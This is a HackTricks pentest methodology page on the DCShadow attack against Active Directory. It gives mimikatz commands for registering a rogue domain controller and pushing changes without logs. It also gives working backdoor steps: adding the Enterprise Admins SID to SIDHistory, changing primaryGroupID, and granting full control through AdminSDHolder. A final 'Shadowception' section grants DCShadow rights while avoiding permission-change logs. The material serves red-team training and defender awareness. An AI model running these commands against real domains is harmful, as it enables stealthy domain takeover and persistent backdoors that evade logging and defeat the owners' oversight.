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hacktricks/windows-hardening/active-directory-methodology/dcshadow.md
carlospolop f0e09e3f54 social
2023-03-06 00:16:20 +01:00

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DCShadow

It registers a new Domain Controller in the AD and uses it to push attributes (SIDHistory, SPNs...) on specified objects without leaving any logs regarding the modifications. You need DA privileges and be inside the root domain.
Note that if you use wrong data, pretty ugly logs will appear.

To perform the attack you need 2 mimikatz instances. One of them will start the RPC servers with SYSTEM privileges (you have to indicate here the changes you want to perform), and the other instance will be used to push the values:

{% code title="mimikatz1 (RPC servers)" %}

!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"

{% endcode %}

{% code title="mimikatz2 (push) - Needs DA or similar" %}

lsadump::dcshadow /push

{% endcode %}

Notice that elevate::token won't work in mimikatz1 session as that elevated the privileges of the thread, but we need to elevate the privilege of the process.
You can also select and "LDAP" object: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

You can push the changes from a DA or from a user with this minimal permissions:

  • In the domain object:
    • DS-Install-Replica (Add/Remove Replica in Domain)
    • DS-Replication-Manage-Topology (Manage Replication Topology)
    • DS-Replication-Synchronize (Replication Synchornization)
  • The Sites object (and its children) in the Configuration container:
    • CreateChild and DeleteChild
  • The object of the computer which is registered as a DC:
    • WriteProperty (Not Write)
  • The target object:
    • WriteProperty (Not Write)

You can use Set-DCShadowPermissions to give these privileges to an unprivileged user (notice that this will leave some logs). This is much more restrictive than having DA privileges.
For example: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose This means that the username student1 when logged on in the machine mcorp-student1 has DCShadow permissions over the object root1user.

Using DCShadow to create backdoors

{% code title="Set Enterprise Admins in SIDHistory to a user" %}

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519

{% endcode %}

{% code title="Chage PrimaryGroupID (put user as member of Domain Administrators)" %}

lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

{% endcode %}

{% code title="Modify ntSecurityDescriptor of AdminSDHolder (give Full Control to a user)" %}

#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

{% endcode %}

Shadowception - Give DCShadow permissions using DCShadow (no modified permissions logs)

We need to append following ACEs with our user's SID at the end:

  • On the domain object:
    • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
    • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
    • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • On the attacker computer object: (A;;WP;;;UserSID)
  • On the target user object: (A;;WP;;;UserSID)
  • On the Sites object in Configuration container: (A;CI;CCDC;;;UserSID)

To get the current ACE of an object: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl

Notice that in this case you need to make several changes, not just one. So, in the mimikatz1 session (RPC server) use the parameter /stack with each change you want to make. This way, you will only need to /push one time to perform all the stucked changes in the rouge server.

More information about DCShadow in ired.team.

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